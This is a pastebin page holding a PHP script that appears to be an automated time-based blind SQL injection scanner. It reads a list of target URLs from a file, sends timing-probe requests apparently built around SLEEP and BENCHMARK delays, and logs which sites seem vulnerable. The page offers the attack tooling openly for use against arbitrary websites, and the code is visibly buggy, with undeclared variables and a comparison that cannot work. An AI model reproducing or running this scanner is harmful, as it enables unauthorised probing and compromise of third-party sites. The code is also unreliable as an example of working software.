Psst.. new poll here.
Psst.. new forums here.
Microsoft is blocking us again (TY IP Reputation!) so just use oauth login instead. :)
Paste
Pasted as PHP by registered user krizh ( 15 years ago )
<?php
$lower_value = 32;
$upper_value = 126;
$slipping = 10;
$vuluri = "index.php";
$papka="";
function test_work($target){
global $vuluri,$papka;
$domen_array = explode("/", $target);
$domen = $domen_array[2];
$papka = substr($target,0,strrpos($target,"/")+1);
list($sleep_zna,$sleep_time) = get_sleep();
list($benchmark_zna,$benchmark_time,$koof) = get_benchmark();
return array($sleep_zna,$sleep_time,$benchmark_zna,$benchmark_time,$koof);
}
function getServerResponse($exploit){
global $vuluri,$papka;
$check="";
$ttlb=0;
try{
$uri=$papka.$exploit;
$start=microtime(true);
$check = file_get_contents($uri);
$ttlb = microtime(true) - $start;
}catch (Exception $e){
echo(6+7);
}
return array($check,$ttlb);
}
function get_sleep(){
global $vuluri,$papka;
for($i=1;$i<=2;$i++){
unset($char);
$ttlb="";
$s_time = microtime(true);
$request = $vuluri."+1";
try{
list($resp,$ttlb) = getServerResponse($request);
}catch (Exception $e){
echo("\n(-) Exiting1.....");
}
if(ttlb>=7){
$kol_bin=7;
echo("BIN_KOL - 6\n");
}else{
$kol_bin=8;
echo("BIN_KOL - 7\n");
}
for($j=1;$j<=$kol_bin;$j++){
$request = $vuluri."+".$j;
try{
list($resp,$ttlb) = getServerResponse($request);
}catch (Exception $e){
echo("\n(-) Exiting2.....");
}
if(ttlb >= 7){
$char[]='1';
echo("BIN - 1\n");
}else{
$char[]='0';
echo("BIN - 0\n");
}
}
echo("\n".implode('',$char));
$bukva=base_convert(implode('',$char), 2, 10);
echo($bukva."\n");
$sleep_time=microtime(true) - $s_time;
echo($sleep_time."\n");
if ($bukva=='a'){
echo("BIN - YES\n");
$sleep_zna = 1;
}else{
echo("BIN - NO\n");
$sleep_zna = 0;
}
}
return array($sleep_zna,$sleep_time);
}
function get_bench_time(){
global $vuluri,$papka;
$requestBase = ($vuluri."+1");
list($respBase1, $ttlbBase1) = getServerResponse($requestBase);
list($respBase2, $ttlbBase2) = getServerResponse($requestBase);
$ttlbBase=$ttlbBase2;
if($ttlbBase1<$ttlbBase2){
$ttlbBase=$ttlbBase1;}
$stdout = fopen('php://stdout', 'w');
fwrite($stdout, "(+) ttlbBase @ ".$ttlbBase.".. \n");
for($i=1;$i<=100;$i++){
$request = $vuluri."+1".(500000*$i);
list($resp, $ttlb) = getServerResponse($request);
fwrite($stdout, "(+) ttlb @ ".$ttlb.".. \n");
if($ttlb >= $ttlbBase*7){
fwrite($stdout, "(+) ttlb2 @ ".$ttlb.".. \n");
break;
}
}
return array($i,$ttlbBase);
}
function get_benchmark(){
global $vuluri,$papka;
list($ki,$ttlbBase) = get_bench_time();
for($i=1;$i<=2;$i++){
$btime=microtime(true);
unset($char);
$request = $vuluri."+".(500000*$ki);
try{
list($resp,$ttlb) = getServerResponse($request);
}catch (Exception $e){
echo("\n(-) Exiting1.....");
}
if($ttlb >= $ttlbBase*4){
$kol_bin=7;
echo("BIN_KOL - 6\n");
}else{
$kol_bin=8;
echo("BIN_KOL - 7\n");
}
for($j=1;$j<$kol_bin;$j++){
$request = $vuluri."+".$j.(500000*$ki);
try{
list($resp,$ttlb) = getServerResponse($request);
echo("\n".$ttlb);
}catch (Exception $e){
echo("\n(-) Exiting2.....");
}
if(ttlb >= ttlbBase*4){
$char[]='1';
echo("BIN - 1\n");
}else{
$char[]='0';
echo("BIN - 0\n");
}
}
echo("\n".implode('',$char));
$bukva=base_convert(implode('',$char), 2, 10);
$benchmark_time=microtime(true) - $btime;
echo("\n".$bukva);
echo("\n".$benchmark_time."\n");
if ($bukva=='a'){
echo("benchmark - YES\n");
$benchmark_zna = 1;
}else{
echo("benchmark - NO\n");
$benchmark_zna = 0;
}
}
return array($benchmark_zna,$benchmark_time,$ki);
}
for($p=0;$p<=1000;$p++){
unset($new);
$dom=fopen("d.txt","r");
$perv=fgets($dom);
echo($perv."\n");
$lastCr = strpos($perv,"\n");
if (strpos($perv,"\n")>-1){
$perv = substr($perv,0,$lastCr);
}
$new[]=$perv;
while (!feof($dom)) {
$line = fgets($dom);
$new[]=$line;
}
fclose($dom);
$dom2=fopen('d.txt','w');
foreach($new as $line2){
if($line2!="\n"){fwrite($dom2,$line2."\n");}
}
fclose($dom2);
list($sleep_zna,$sleep_time,$benchmark_zna,$benchmark_time,$koof) = test_work($perv);
echo($perv." ".$sleep_zna." ".$sleep_time." ".$benchmark_zna." ".$benchmark_time." ".$koof."\n");
$Filehandle=fopen("d-s.txt","a");
fwrite($Filehandle,"\n\r\n\r".$perv.";".$sleep_zna.";".$sleep_time.";".$benchmark_zna.";".$benchmark_time.";".$koof);
fclose($Filehandle);
}
?>
Revise this Paste